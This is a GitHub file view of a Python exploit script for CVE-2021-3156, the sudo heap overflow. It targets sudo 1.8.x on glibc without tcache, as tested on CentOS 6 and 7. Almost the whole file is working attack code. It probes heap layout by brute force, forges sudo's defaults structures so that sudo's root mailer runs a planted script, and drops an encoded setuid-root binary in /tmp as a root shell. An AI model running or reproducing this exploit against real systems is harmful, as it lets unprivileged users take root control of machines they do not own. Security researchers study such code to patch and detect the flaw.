-
Notifications
You must be signed in to change notification settings - Fork 168
/
exploit_defaults_mailer.py
executable file
·424 lines (365 loc) · 12.5 KB
/
exploit_defaults_mailer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
#!/usr/bin/python
'''
Exploit for CVE-2021-3156 with struct defaults overwrite (mailer) by sleepya
This exploit requires:
- glibc without tcache
- there is defaults line in /etc/sudoers (and at least one of them is allolcated after large hole)
- disable-root-mailer is not set
- /tmp is not mounted with nosuid (need modify SHELL_PATH)
Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing
Without glibc tcache, a heap layout rarely contains hole.
The heap overflow vulnerability is triggered after parsing /etc/sudoers.
The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec).
In the end of set_cmnd() function, there is a call to update_defaults(SET_CMND) function.
It is called update heap buffer overflow. So we can update def_* value by overwriting
struct defatuls (need type=DEFAULTS_CMND and fake binding).
Tested on:
- CentOS 7 (1.8.23, 1.8.19p2)
- CentOS 6 (1.8.6)
'''
import os
import subprocess
import sys
import resource
import select
import signal
import time
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
try:
SUID_PATH = os.environ["SUID_PATH"]
print("Using SUID_PATH = %s" % SUID_PATH)
except:
pass
def create_bin(bin_path):
if os.path.isfile(bin_path):
return # existed
try:
os.makedirs(bin_path[:bin_path.rfind('/')])
except:
pass
import base64, zlib
bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
with open(bin_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(bin_b64)))
def create_shell(path, suid_path):
with open(path, 'w') as f:
f.write('#!/bin/sh\n')
f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
f.write('/bin/chown root.root %s\n' % suid_path)
f.write('/bin/chmod 4755 %s\n' % suid_path)
os.chmod(path, 0o755)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code & 0xff7f # remove coredump flag
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
# Note: error with backtrace is print to tty directly. cannot be piped or suppressd
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.close(r)
os.dup2(w, 2)
execve(filename, cargv, cenvp)
exit(0)
# parent
os.close(w)
# might occur deadlock in heap. kill it if timeout and set exit_code as 6
# 0.5 second should be enough for execution
sr, _, _ = select.select([ r ], [], [], 0.5)
if not sr:
os.kill(pid, signal.SIGKILL)
_, exit_code = os.waitpid(pid, 0)
if not sr: # timeout, assume dead lock in heap
exit_code = 6
r = os.fdopen(r, 'r')
err = r.read()
r.close()
return exit_code & 0xff7f, err # remove coredump flag
def has_askpass(err):
# 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
return 'sudoedit: no askpass program ' in err
def has_not_permitted_C_option(err):
# 'sudoedit: you are not permitted to use the -C option'
return 'not permitted to use the -C option' in err
def get_sudo_version():
proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line:
continue
if line.startswith('Sudo version '):
txt = line[13:].strip()
pos = txt.rfind('p')
if pos != -1:
txt = txt[:pos]
versions = list(map(int, txt.split('.')))
break
proc.wait()
return versions
def check_sudo_version():
sudo_vers = get_sudo_version()
assert sudo_vers[0] == 1, "Unexpect sudo major version"
assert sudo_vers[1] == 8, "Unexpect sudo minor version"
return sudo_vers[2]
def check_mailer_root():
if not os.access(SUDO_PATH, os.R_OK):
print("Cannot determine disble-root-mailer flag")
return True
return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1
def find_cmnd_size():
argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ]
size_min, size_max = 0xc00, 0x2000
found_size = 0
while size_max - size_min > 0x10:
curr_size = (size_min + size_max) // 2
curr_size &= 0xfff0
print("\ncurr size: 0x%x" % curr_size)
argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code == 256 and has_askpass(err):
# need pass. no crash.
# fit or almost fit
if found_size:
found_size = curr_size
break
# maybe almost fit. try again
found_size = curr_size
size_min = curr_size
size_max = curr_size + 0x20
elif exit_code in (7, 11):
# segfault. too big
if found_size:
break
size_max = curr_size
else:
assert exit_code == 6
# heap corruption. too small
size_min = curr_size
if found_size:
return found_size
assert size_min == 0x2000 - 0x10
# old sudo version and file is in /etc/sudoers.d
print('has 2 holes. very large one is bad')
size_min, size_max = 0xc00, 0x2000
for step in (0x400, 0x100, 0x40, 0x10):
found = False
env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
for curr_size in range(size_min, size_max, step):
argv[-2] = b"A"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\ncurr size: 0x%x" % curr_size)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code in (7, 11):
size_min = curr_size
found = True
elif found:
print("\nsize_min: 0x%x" % size_min)
break
assert found, "Cannot find cmnd size"
size_max = size_min + step
# TODO: verify
return size_min
def find_defaults_chunk(argv, env_prefix):
offset = 0
pos = len(env_prefix) - 1
env = env_prefix[:]
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
# overflow until sudo crash without asking pass
# crash because of defaults.entries.next is overwritten
while True:
env[pos] += b'A'*0x10
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\ncurr offset: 0x%x" % offset)
print("exit code: %d" % exit_code)
print(err)
# 7 bus error, 11 segfault
if exit_code in (7, 11) and not has_not_permitted_C_option(err):
# found it
env[pos] = env[pos][:-0x10]
break
offset += 0x10
# verify if it is defaults
env = env[:-3]
env[-1] += b'\x41\\' # defaults chunk size 0x40
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
(b'A'*8 if has_tailq else b'') + # entries.prev
pack("<Q", 0xffffffffff600000+0x880) + # var (use vsyscall for testing)
b"A"*(0x20-1), # binding, file, type, op, error, lineno
b"LC_ALL=C", b"TZ=:", None
])
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\nretrying with vsyscall")
print("exit code: %d" % exit_code)
print(err)
# old sudo verion has no cleanup if authen fail. exit code is 256.
assert exit_code in (256, 11) and has_not_permitted_C_option(err), "cannot find defaults chunk"
return offset
def create_env(offset_defaults):
with open('/proc/sys/kernel/randomize_va_space') as f:
has_aslr = int(f.read()) != 0
if has_aslr:
STACK_ADDR_PAGE = 0x7fffe5d35000
else:
STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
SA = STACK_ADDR_PAGE
ADDR_MEMBER_PREV = pack('<Q', SA+8)
ADDR_MEMBER_LAST = ADDR_MEMBER_PREV
ADDR_MEMBER = pack('<Q', SA+0x20)
ADDR_DEF_BINDING = ADDR_MEMBER
ADDR_MAILER_VAR = pack('<Q', SA+0x20+0x30)
ADDR_MAILER_VAL = pack('<Q', SA+0x20+0x30+0x10)
ADDR_ALWAYS_VAR = pack('<Q', SA+0x20+0x30+0x10+0x20)
ADDR_DEF_BAD = pack('<Q', SA+0x20+0x30+0x10+0x20+0x10)
# no need to make cleanup without a crash. mailer is executed before cleanup steps
# def_mailto is always set
# def_mailerflags is mailer arguments
epage = [
b'A'*0x8 + # to not ending with 0x00
ADDR_MEMBER[:6], b'', # pointer to member
ADDR_MEMBER_PREV[:6], b'', # pointer to member
# member chunk (and defaults->binding (list head))
b'A'*8 + # chunk size
b'', b'', b'', b'', b'', b'', b'', b'', # members.first
ADDR_MEMBER_LAST[:6], b'', # members.last
b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
pack('<H', MATCH_ALL), b'', # type, negated
b'A'*0xc + # padding
# var (mailer)
b'A'*8 + # chunk size
b"mailerpath", b'A'*5 +
# val (mailer) (assume path length is less than 32)
SHELL_PATH, b'A'*(0x20-len(SHELL_PATH)-1) +
# var (mail_always)
b"mail_always", b'A'*4 +
# defaults (invalid mail_always, has val)
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b'', b'', b'', b'', b'', b'', b'', b'', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_ALWAYS_VAR[:6], b'', # var
ADDR_ALWAYS_VAR[:6], b'', # val (invalid defaults mail_always, trigger sendmail immediately)
ADDR_DEF_BINDING[:6], b'', # binding or binding.first
]
if has_file:
epage.extend([ ADDR_ALWAYS_VAR[:6], b'' ]) # file
elif not has_tailq:
epage.extend([ ADDR_MEMBER[:6], b'' ]) # binding.last
epage.extend([
pack('<H', DEFAULTS_CMND) + # type
b'', b'', # for type is 4 bytes version
])
env = [
b'A'*(7+0x4010+0x110+offset_defaults) +
b'A'*8 + # chunk metadata
(b'' if has_tailq else b'A'*8) + # prev if no tailq
ADDR_DEF_BAD[:6]+b'\\', b'\\', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_MAILER_VAR[:6]+b'\\', b'\\', # var
ADDR_MAILER_VAL[:6]+b'\\', b'\\', # val
ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding or bind.first
]
if has_file or not has_tailq:
env.extend([ ADDR_MEMBER[:6]+b'\\', b'\\' ]) # binding.last or file (no use)
env.extend([
pack('<H', DEFAULTS_CMND) + # type
(b'\x01' if has_file else b'\\'), b'', # if not has_file, type is int (4 bytes)
b"LC_ALL=C",
b"TZ=:",
b"SUDO_ASKPASS=/invalid",
])
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append(b'P'*(padlen-1))
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
env.extend(epage)
# reserve space in last element for '/usr/bin/sudo' and padding
env[-1] = env[-1][:-14-8]
env.append(None)
return env
def run_until_success(argv, env):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
create_bin(SUID_PATH)
create_shell(SHELL_PATH, SUID_PATH)
# don't redirect to null as some output helps understanding if exploit works as expected
# and it only prints when success
#null_fd = os.open('/dev/null', os.O_RDWR)
#os.dup2(null_fd, 2)
for i in range(65536):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
# on success, give it some time for the binary to execute
if exit_code == 256:
time.sleep(2)
if os.path.exists(PWNED_PATH):
print("success at %d" % i)
if os.stat(PWNED_PATH).st_uid != 0:
print("ROOT MAILER is disabled :(")
else:
print('execute "%s" to get root shell' % SUID_PATH)
break
if exit_code not in (7, 11):
print("invalid offset. exit code: %d" % exit_code)
break
def main():
cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None
if cmnd_size is None:
cmnd_size = find_cmnd_size()
print("found cmnd size: 0x%x" % cmnd_size)
argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]
env_prefix = [ b'A'*(7+0x4010+0x110) ]
if offset_defaults is None:
offset_defaults = find_defaults_chunk(argv, env_prefix)
assert offset_defaults != -1
print('')
print("cmnd size: 0x%x" % cmnd_size)
print("offset to defaults: 0x%x" % offset_defaults)
argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]
env = create_env(offset_defaults)
run_until_success(argv, env)
if __name__ == "__main__":
# global intialization
assert check_mailer_root(), "root mailer is disabled"
sudo_ver = check_sudo_version()
DEFAULTS_CMND = 269
if sudo_ver >= 15:
MATCH_ALL = 284
elif sudo_ver >= 13:
MATCH_ALL = 282
elif sudo_ver >= 7:
MATCH_ALL = 280
elif sudo_ver < 7:
MATCH_ALL = 279
DEFAULTS_CMND = 268
has_tailq = sudo_ver >= 9
has_file = sudo_ver >= 19 # has defaults.file pointer
main()